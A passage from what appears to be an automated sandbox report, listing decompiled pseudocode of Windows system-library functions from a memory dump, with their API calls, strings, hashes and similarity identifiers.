						_t39 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t39 & 0x00000020) != 0) {
						_t51 = _t51 | 0xffffffff;
						_t63 = _t51;
						L6B5C7016(0x1480, _t51, 0xffffffff, 0xffffffff, 0, 0);
					}
				}
				_t23 = E6B576900(_t63, 0x6b635350);
				_t24 = E6B567D50();
				if(_t23 == 0) {
					__eflags = _t24;
					if(_t24 != 0) {
						_t45 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						__eflags = _t45;
					}
					__eflags =  *_t45;
					if( *_t45 != 0) {
						_t26 =  *[fs:0x30];
						__eflags =  *(_t26 + 0x240) & 0x00000004;
						if(( *(_t26 + 0x240) & 0x00000004) != 0) {
							_t27 = E6B567D50();
							__eflags = _t27;
							if(_t27 != 0) {
								_t54 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								__eflags = _t54;
							}
							__eflags =  *_t54 & 0x00000020;
							if(( *_t54 & 0x00000020) != 0) {
								__eflags = _t51 | 0xffffffff;
								L6B5C7016(0x1482, _t51 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					__eflags = 0;
					return 0;
				}
				if(_t24 != 0) {
					_t45 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t45 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
					if(E6B567D50() != 0) {
						_t54 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t54 & 0x00000020) != 0) {
						L6B5C7016(0x1481, _t51 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
					}
				}
				return 1;
			}

0x6b5c5623
0x6b5c5628
0x6b5c562d
0x6b5c5634
0x6b5c5646
0x6b5c5636
0x6b5c563f
0x6b5c563f
0x6b5c564b
0x6b5c5650
0x6b5c5668
0x6b5c567a
0x6b5c566a
0x6b5c5673
0x6b5c5673
0x6b5c567f
0x6b5c5689
0x6b5c5689
0x6b5c5691
0x6b5c5691
0x6b5c567f
0x6b5c569b
0x6b5c56a2
0x6b5c56a9
0x6b5c5708
0x6b5c570a
0x6b5c5715
0x6b5c5715
0x6b5c5715
0x6b5c571b
0x6b5c571e
0x6b5c5720
0x6b5c5726
0x6b5c572d
0x6b5c572f
0x6b5c5734
0x6b5c5736
0x6b5c5741
0x6b5c5741
0x6b5c5741
0x6b5c5747
0x6b5c574a
0x6b5c5754
0x6b5c575c
0x6b5c575c
0x6b5c574a
0x6b5c572d
0x6b5c5761
0x00000000
0x6b5c5761
0x6b5c56ad
0x6b5c56b8
0x6b5c56b8
0x6b5c56c1
0x6b5c56d9
0x6b5c56e4
0x6b5c56e4
0x6b5c56ed
0x6b5c56ff
0x6b5c56ff
0x6b5c56ed
0x00000000

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000002,?,6B5BE4BC,6B6203D0,0000000C,6B5B9687,00000000,00000000,00000001,?,?,7FFE0386,?,6B546778,00000001), ref: 6B5C5628
RtlGetCurrentServiceSessionId.1105 ref: 6B5C5661
RtlTryEnterCriticalSection.1105(6B635350,00000000,00000002,?,6B5BE4BC,6B6203D0,0000000C,6B5B9687,00000000,00000000,00000001,?,?,7FFE0386,?,6B546778), ref: 6B5C569B
RtlGetCurrentServiceSessionId.1105(6B635350,00000000,00000002,?,6B5BE4BC,6B6203D0,0000000C,6B5B9687,00000000,00000000,00000001,?,?,7FFE0386,?,6B546778), ref: 6B5C56A2
RtlGetCurrentServiceSessionId.1105 ref: 6B5C56D2
RtlGetCurrentServiceSessionId.1105 ref: 6B5C572F

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: 7589497c312c3386c02f77aa6315f36adeaad58193f79b95a0751c5d4450d0bc
Instruction ID: 2c83819a3caa335c9ec96e30ded9671bde6cbf7e28483ef24d88aa71aee14e71
Opcode Fuzzy Hash: 7589497c312c3386c02f77aa6315f36adeaad58193f79b95a0751c5d4450d0bc
Instruction Fuzzy Hash: 7231FB312557819BF71287F8DD46F9637D2AB417E4F2407E4EA304B6E1DBAC8881C612

Uniqueness

Uniqueness Score: -1.00%

Function 6B60A189, Relevance: 9.1, APIs: 6, Instructions: 96
nativeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6B60A189(signed int __ecx, intOrPtr* __edx) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* __ebx;
				void* __edi;
				intOrPtr _t29;
				void** _t30;
				intOrPtr _t40;
				void* _t44;
				signed int _t50;
				void* _t51;
				intOrPtr _t52;

				_v20 = __edx;
				_t50 = __ecx;
				if(__edx != 0) {
					E6B562280(__edx, 0x6b636220);
					_t42 = _t50;
					_t40 = E6B60A166(_t50);
					if(_t40 != 0) {
						L15:
						E6B55FFB0(_t40, _t50, 0x6b636220);
						 *_v20 = _t40;
						return 0;
					}
					_t44 = E6B60A166(_t42 ^ 0x00000100);
					if(_t44 != 0) {
						_v12 =  *((intOrPtr*)(_t44 + 4));
						_v8 =  *((intOrPtr*)(_t44 + 8));
						L7:
						_t51 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, 0x50);
						if(_t51 != 0) {
							_t10 = _t51 + 0xc; // 0xc
							_t40 = _t10;
							_t29 = E6B5FA708(_t50, _v12, _v8, _t40);
							_v16 = _t29;
							if(_t29 >= 0) {
								 *(_t51 + 8) = _t50;
								_t30 =  *0x6b6353d4; // 0x6b6353d0
								if( *_t30 != 0x6b6353d0) {
									0x6b6353d0 = 3;
									asm("int 0x29");
								}
								 *_t51 = 0x6b6353d0;
								 *(_t51 + 4) = _t30;
								 *_t30 = _t51;
								 *0x6b6353d4 = _t51;
								goto L15;
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t51);
							_t52 = _v16;
							L11:
							E6B55FFB0(_t40, _t50, 0x6b636220);
							return _t52;
						}
						_t52 = 0xc0000017;
						goto L11;
					}
					_push( &_v8);
					_push( &_v12);
					_push(_t44);
					_push(_t50 & 0xfffffeff);
					_push(0xc);
					_t52 = E6B58A420();
					if(_t52 >= 0) {
						goto L7;
					}
					goto L11;
				}
				return 0xc00000f0;
			}

0x6b60a194
0x6b60a199
0x6b60a19d
0x6b60a1ae
0x6b60a1b3
0x6b60a1ba
0x6b60a1be
0x6b60a27e
0x6b60a283
0x6b60a28b
0x00000000
0x6b60a28d
0x6b60a1cf
0x6b60a1d3
0x6b60a1f8
0x6b60a1fe
0x6b60a201
0x6b60a213
0x6b60a217
0x6b60a223
0x6b60a223
0x6b60a22c
0x6b60a231
0x6b60a236
0x6b60a25b
0x6b60a263
0x6b60a26a
0x6b60a26e
0x6b60a26f
0x6b60a26f
0x6b60a271
0x6b60a273
0x6b60a276
0x6b60a278
0x00000000
0x6b60a278
0x6b60a245
0x6b60a24a
0x6b60a24d
0x6b60a252
0x00000000
0x6b60a257
0x6b60a219
0x00000000
0x6b60a219
0x6b60a1d8
0x6b60a1dc
0x6b60a1dd
0x6b60a1e5
0x6b60a1e6
0x6b60a1ed
0x6b60a1f1
0x00000000
0x00000000
0x00000000
0x6b60a1f3
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6B636220,00000000,?,?,?), ref: 6B60A1AE
ZwGetNlsSectionPtr.1105(0000000C,?,00000000,?,?,6B636220,00000000,?,?,?), ref: 6B60A1E8
RtlReleaseSRWLockExclusive.1105(6B636220,?,00000000,00000000,?,0000000C,?,00000000,00000050,6B636220,00000000,?,?,?), ref: 6B60A252

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireReleaseSection
String ID:
API String ID: 1496884002-0
Opcode ID: a089c652b57f5f31016360d74eb753c8044e6c75771723f0ca0b9a1b0a4afd7a
Instruction ID: 158eb9c49537e0761c0f88ac35aff16cca8460a37fae19b668719625be6fedcb
Opcode Fuzzy Hash: a089c652b57f5f31016360d74eb753c8044e6c75771723f0ca0b9a1b0a4afd7a
Instruction Fuzzy Hash: B53105B1A04205ABD7198FAAC940B9EBBB9FF85794F1500B9E504DB350EF79DD018790

Uniqueness

Uniqueness Score: -1.00%

Function 6B54F7C0, Relevance: 9.1, APIs: 6, Instructions: 64
nativeCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E6B54F7C0(void* __ecx, signed char _a4, signed short _a8, intOrPtr* _a12) {
				void* __ebx;
				void* __edi;
				void* _t16;
				signed char _t29;
				intOrPtr* _t37;
				signed int _t39;

				_t39 = _a8 & 0x0000ffff;
				if(_t39 == 0) {
					L13:
					E6B54CC50(6);
					_t16 = 6;
					return _t16;
				}
				_t29 = _a4;
				if((_t29 & 0x00000001) != 0) {
					goto L13;
				}
				_t5 = _t29 + 0x34; // 0x64
				_t17 = _t5;
				if(_t39 !=  *_t5 || _t29 ==  *0x6b6360d8) {
					goto L13;
				} else {
					_t6 = _t29 + 0x28; // 0x58
					_t38 = _t6;
					E6B562280(_t17, _t6);
					asm("lock cmpxchg [edx], cx");
					if(_t39 != _t39) {
						E6B55FFB0(_t29, _t38, _t38);
						goto L13;
					}
					E6B54F8C8(_t29);
					E6B55FFB0(_t29, _t38, _t38);
					_t24 =  *(_t29 + 0x36) & 0x00003fff;
					if(( *(_t29 + 0x36) & 0x00003fff) != 0xa) {
						_push( *((intOrPtr*)(_t29 + 0x30)));
						_t24 = E6B5895D0();
					}
					_t34 =  *(_t29 + 0xc8);
					if( *(_t29 + 0xc8) != 0) {
						E6B614015(_t24, _t34);
						 *(_t29 + 0xc8) =  *(_t29 + 0xc8) & 0x00000000;
					}
					_t37 = _a12;
					if(_t37 != 0) {
						 *_t37 =  *((intOrPtr*)(_t29 + 0x20));
					}
					E6B54F871(_t29);
					return 0;
				}
			}

0x6b54f7c7
0x6b54f7cf
0x6b54f865
0x6b54f867
0x6b54f86e
0x00000000
0x6b54f86e
0x6b54f7d5
0x6b54f7db
0x00000000
0x00000000
0x6b54f7e1
0x6b54f7e1
0x6b54f7e7
0x00000000
0x6b54f7f1
0x6b54f7f1
0x6b54f7f1
0x6b54f7f5
0x6b54f802
0x6b54f80a
0x6b54f860
0x00000000
0x6b54f860
0x6b54f80e
0x6b54f814
0x6b54f822
0x6b54f829
0x6b54f82b
0x6b54f82e
0x6b54f82e
0x6b54f833
0x6b54f83b
0x6b5a5d50
0x6b5a5d55
0x6b5a5d55
0x6b54f841
0x6b54f846
0x6b54f85b
0x6b54f85b
0x6b54f84a
0x00000000
0x6b54f84f

APIs

RtlAcquireSRWLockExclusive.1105(00000058,00000000,00000000,00000000,?,6B5B76A7,?,?,00000000,6B5267CC,00000000,00000000,?,00000040), ref: 6B54F7F5
RtlReleaseSRWLockExclusive.1105(00000058,00000058,00000000,00000000,00000000,?,6B5B76A7,?,?,00000000,6B5267CC,00000000,00000000,?,00000040), ref: 6B54F860

Part of subcall function 6B54F8C8: RtlAcquireSRWLockExclusive.1105(6B6386AC,00000058,?,00000030,6B54F813,00000058,00000000,00000000,00000000,?,6B5B76A7,?,?,00000000,6B5267CC,00000000), ref: 6B54F8D5
Part of subcall function 6B54F8C8: RtlRbRemoveNode.1105(6B6386DC,00000030,6B6386AC,00000058,?,00000030,6B54F813,00000058,00000000,00000000,00000000,?,6B5B76A7,?,?,00000000), ref: 6B54F8E0
Part of subcall function 6B54F8C8: RtlReleaseSRWLockExclusive.1105(6B6386AC,6B6386DC,00000030,6B6386AC,00000058,?,00000030,6B54F813,00000058,00000000,00000000,00000000,?,6B5B76A7,?,?), ref: 6B54F8EE

RtlReleaseSRWLockExclusive.1105(00000058,00000058,00000000,00000000,00000000,?,6B5B76A7,?,?,00000000,6B5267CC,00000000,00000000,?,00000040), ref: 6B54F814
ZwClose.1105(?,00000058,00000058,00000000,00000000,00000000,?,6B5B76A7,?,?,00000000,6B5267CC,00000000,00000000,?,00000040), ref: 6B54F82E
RtlSetLastWin32Error.1105(00000006,00000000,00000000,00000000,?,6B5B76A7,?,?,00000000,6B5267CC,00000000,00000000,?,00000040), ref: 6B54F867

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$CloseErrorLastNodeRemoveWin32
String ID:
API String ID: 2169420607-0
Opcode ID: 9a879de8fdc9c88119fa3268323eb497d6c0432c8dc5a37a1360b958868945d8
Instruction ID: e26b5538a6b5ad145cf50cc16b4465e667d73768339cd798d07a9fd929e47a0a
Opcode Fuzzy Hash: 9a879de8fdc9c88119fa3268323eb497d6c0432c8dc5a37a1360b958868945d8
Instruction Fuzzy Hash: E511C1366053059BFB81AF28C8C1BEA3379EF81B18F4014B9ED185F149DB28D88687A0

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D1242, Relevance: 9.0, APIs: 6, Instructions: 31
nativeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6B5D1242(intOrPtr __ebx) {
				intOrPtr _t14;
				void* _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;

				_t18 = __ebx;
				_t19 =  *((intOrPtr*)(_t20 - 0x48));
				if(_t19 != 0) {
					_push(_t19);
					_push(0xffffffff);
					E6B5897A0();
					if( *((intOrPtr*)(_t20 - 0x40)) != 0) {
						_push( *((intOrPtr*)(_t20 - 0x40)));
						E6B5895D0();
					}
					_t14 =  *((intOrPtr*)(_t20 - 0x4c));
					if(_t14 != 0) {
						_push(_t14);
						_t14 = E6B5895D0();
					}
				}
				if( *((intOrPtr*)(_t20 - 0x38)) != 0) {
					_push( *((intOrPtr*)(_t20 - 0x38)));
					_t14 = E6B5895D0();
					 *((intOrPtr*)(_t20 - 0x38)) = _t18;
				}
				if( *((intOrPtr*)(_t20 - 0x3c)) != 0) {
					_push( *((intOrPtr*)(_t20 - 0x3c)));
					_t14 = E6B5895D0();
					 *((intOrPtr*)(_t20 - 0x3c)) = _t18;
				}
				if( *((intOrPtr*)(_t20 - 0x34)) == 0) {
					return _t14;
				} else {
					_push( *((intOrPtr*)(_t20 - 0x34)));
					_t15 = E6B5895D0();
					 *((intOrPtr*)(_t20 - 0x34)) = _t18;
					return _t15;
				}
			}

0x6b5d1242
0x6b5d1242
0x6b5d1247
0x6b5d1249
0x6b5d124a
0x6b5d124c
0x6b5d1255
0x6b5d1257
0x6b5d125a
0x6b5d125a
0x6b5d125f
0x6b5d1264
0x6b5d1266
0x6b5d1267
0x6b5d1267
0x6b5d1264
0x6b5d1270
0x6b5d1272
0x6b5d1275
0x6b5d127a
0x6b5d127a
0x6b5d1281
0x6b5d1283
0x6b5d1286
0x6b5d128b
0x6b5d128b
0x6b5d1292
0x6b5d129f
0x6b5d1294
0x6b5d1294
0x6b5d1297
0x6b5d129c
0x00000000
0x6b5d129c

APIs

ZwUnmapViewOfSection.1105(000000FF,?,6B5D122C,6B6207D0,00000058,6B5D0C91,?,00000000,?,00000000,?,?,?,6B5FB56B,00000000,?), ref: 6B5D124C
ZwClose.1105(?,000000FF,?,6B5D122C,6B6207D0,00000058,6B5D0C91,?,00000000,?,00000000,?,?,?,6B5FB56B,00000000), ref: 6B5D125A
ZwClose.1105(?,000000FF,?,6B5D122C,6B6207D0,00000058,6B5D0C91,?,00000000,?,00000000,?,?,?,6B5FB56B,00000000), ref: 6B5D1267
ZwClose.1105(?,6B5D122C,6B6207D0,00000058,6B5D0C91,?,00000000,?,00000000,?,?,?,6B5FB56B,00000000,?,00000000), ref: 6B5D1275
ZwClose.1105(?,6B5D122C,6B6207D0,00000058,6B5D0C91,?,00000000,?,00000000,?,?,?,6B5FB56B,00000000,?,00000000), ref: 6B5D1286
ZwClose.1105(?,6B5D122C,6B6207D0,00000058,6B5D0C91,?,00000000,?,00000000,?,?,?,6B5FB56B,00000000,?,00000000), ref: 6B5D1297

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$SectionUnmapView
String ID:
API String ID: 682624529-0
Opcode ID: df9b40cab72dcffc0bbba800b8aff6860ab2831aacd6ae3e33e08911f29cf166
Instruction ID: c92ad0ae250f71518d5f3bb7387b3417b3b4e3fe5deeefa8299e7e4551971bc5
Opcode Fuzzy Hash: df9b40cab72dcffc0bbba800b8aff6860ab2831aacd6ae3e33e08911f29cf166
Instruction Fuzzy Hash: 47F0BD70D0112CEAFF05AFB5E8857EDBB72AF90219F101268F022B15A5DB794890DB45

Uniqueness

Uniqueness Score: -1.00%

Function 6B544439, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

Flst, xrefs: 6B544476
0, xrefs: 6B5444A3

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: 70061305bae062a74263f5ae5125e7519c818447fc83164d4424ba01c8a8fa0f
Instruction ID: 2b62a7b72c3503e023e3a9855914b16a4e6d5a9a9d46421d73fdb071d54548ec
Opcode Fuzzy Hash: 70061305bae062a74263f5ae5125e7519c818447fc83164d4424ba01c8a8fa0f
Instruction Fuzzy Hash: D54188B1E40648CFEB14DF99D580BDDFBF5EF84714F24886AD049AB644DB399842CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6B57D294, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93memorynativefileCOMMON

Download Yara Rule

APIs

ZwQueryAttributesFile.1105(?,?,?,?), ref: 6B57D313
RtlFreeHeap.1105(?,00000000,?,?,?,?,?), ref: 6B57D330
ZwClose.1105(00000000,?,?,?,?), ref: 6B5BB001
RtlFreeHeap.1105(?,00000000,?,00000000,?,?,?,?), ref: 6B5BB011

Strings

@, xrefs: 6B57D303

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AttributesCloseFileQuery
String ID: @
API String ID: 2866988855-2766056989
Opcode ID: d6b4be22c7e442a54189d60c1d1837fb6371fbcfb84aefa5e91e433e5a141455
Instruction ID: c75253b09a03232a447d88fa23d71f90c5f584e4588e5f6d5f65310d9c16d772
Opcode Fuzzy Hash: d6b4be22c7e442a54189d60c1d1837fb6371fbcfb84aefa5e91e433e5a141455
Instruction Fuzzy Hash: A83170B16883059FE321DF28C9819DBBBE8EBC5754F0009AEF99483250D739DD05CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B5CEA20, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.1105(6B6370A0,-00000054,?,00000000,-00000054,?,6B5A5D18), ref: 6B5CEA52
DbgPrint.1105(AVRF: AVrfDllUnloadNotification called for a provider (%p) ,-00000054,6B6370A0,-00000054,?,00000000,-00000054,?,6B5A5D18), ref: 6B5CEA69
RtlLeaveCriticalSection.1105(6B6370A0,6B6370A0,-00000054,?,00000000,-00000054,?,6B5A5D18), ref: 6B5CEAB0

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 6B5CEA64

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeavePrint
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 1203512206-702105204
Opcode ID: 37940a5e7ba025b53798d0d43e5349eec74ac0a91432f7403b66b463a6afb81b
Instruction ID: 532303933e04a861037d4209242c42720aa172536477c1f4407ced10e389ef1e
Opcode Fuzzy Hash: 37940a5e7ba025b53798d0d43e5349eec74ac0a91432f7403b66b463a6afb81b
Instruction Fuzzy Hash: 1411C272620618DFFB20DEA5CC8AAEF7766FF85354B10115DE80A07550CB69BC45CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B56E090, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

RtlWow64EnableFsRedirectionEx.1105(6B637B60,6B637B60,6B56DFDF,?,00000000,6B637B60,6B61FE18,00000028), ref: 6B56E0A6
RtlEnterCriticalSection.1105(6B637B60,6B56DFDF,?,00000000,6B637B60,6B61FE18,00000028), ref: 6B56E0B7
RtlLeaveCriticalSection.1105(6B637B60,6B637B60,6B56DFDF,?,00000000,6B637B60,6B61FE18,00000028), ref: 6B56E0DC
ZwSetEvent.1105(00000000,6B637B60,6B637B60,6B56DFDF,?,00000000,6B637B60,6B61FE18,00000028), ref: 6B56E0EF

Strings

`{ck, xrefs: 6B56E0B1

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnableEnterEventLeaveRedirectionWow64
String ID: `{ck
API String ID: 355146318-3598069530
Opcode ID: 70f60b335ae38a1ec89f15a32496235aff6b0809cae585a0ad551f9214a9618f
Instruction ID: 37604230870af3586f276829b6e35a894a8889f0447efd9d424c751b6dc2e89d
Opcode Fuzzy Hash: 70f60b335ae38a1ec89f15a32496235aff6b0809cae585a0ad551f9214a9618f
Instruction Fuzzy Hash: C5016270C16198DEFF12EE748C41FEE7B75EB4A3A8F006095D00162165E33D8D44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6B56B944, Relevance: 7.7, APIs: 5, Instructions: 166nativetimeCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(00000000,?,00002710,00000000,?,?,?), ref: 6B56B9A5
RtlGetCurrentServiceSessionId.1105(00000000,?,00002710,00000000,?,?,?), ref: 6B56BA9C
ZwSetTimer2.1105(00000000,?,00000000,?,00000000,?,00002710,00000000,?,?,?), ref: 6B56BAC6
RtlGetCurrentServiceSessionId.1105(?,?,?), ref: 6B56BAE9
ZwCancelTimer2.1105(00000000,00000000,?,?,?), ref: 6B56BB03

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSessionTimer2$CancelUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1220516486-0
Opcode ID: 2b93f86cc8d8394bdc2fca2843b780059359bf84ff10b1e39c64c58399d7a87b
Instruction ID: 7cab6446b344da1eab813687883f76ccc0681f51676539c815acdbdab2e04aeb
Opcode Fuzzy Hash: 2b93f86cc8d8394bdc2fca2843b780059359bf84ff10b1e39c64c58399d7a87b
Instruction Fuzzy Hash: 02514870A08340CFE710EF29C08195ABBF5BB89784F1449AEF59587364E739EC44CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6B598BE8, Relevance: 7.7, APIs: 1, Strings: 3, Instructions: 657COMMON

Download Yara Rule

Strings

', xrefs: 6B599129
(null), xrefs: 6B59914A
(null), xrefs: 6B598FFF, 6B59904C

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: '$(null)$(null)
API String ID: 3558298466-1087929977
Opcode ID: 3488495a778ab085b0299bde270e6c016e160cce787edbc01dae7502d0e9c637
Instruction ID: 72248cf9845b1161d33078c1210d2e841d3f923d7620d39d5542a75eba68f869
Opcode Fuzzy Hash: 3488495a778ab085b0299bde270e6c016e160cce787edbc01dae7502d0e9c637
Instruction Fuzzy Hash: 4C3293B1E002988FFB24EF28EC847D9B7B5BB45314F0085EDD619A7282D7398AC58F55

Uniqueness

Uniqueness Score: -1.00%

Function 6B56DBE9, Relevance: 7.6, APIs: 5, Instructions: 149COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6B56DD0B
RtlAcquireSRWLockExclusive.1105(00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6B56DD2D
RtlReleaseSRWLockExclusive.1105(00000000,00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6B56DD46

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseServiceSession
String ID:
API String ID: 3179239776-0
Opcode ID: 84c29a70bbeeec1c4c6850073fc0c5844f8cb171d7d03f9798b79e50096e2aec
Instruction ID: 859e020ea2abbb7cd2dff797560bbb90e5aed068ad961be95ac8eb349b92fe5e
Opcode Fuzzy Hash: 84c29a70bbeeec1c4c6850073fc0c5844f8cb171d7d03f9798b79e50096e2aec
Instruction Fuzzy Hash: 7751BE71E44605CFEB14DF68C490ACEBBF1BB89390F20899AD554E7394EB38AD44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B549100, Relevance: 7.6, APIs: 5, Instructions: 141nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,6B61F6E8,0000002C,6B59E530,00000000,?,6B6201C0,00000010,6B61810C,00000000,00000000,00000000,00000000,6B6386C4,6B6386C4,00000008), ref: 6B549158
ZwShutdownWorkerFactory.1105(?,?), ref: 6B549182
RtlGetCurrentServiceSessionId.1105 ref: 6B5491C0

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCurrentExclusiveFactoryLockServiceSessionShutdownWorker
String ID:
API String ID: 1345183298-0
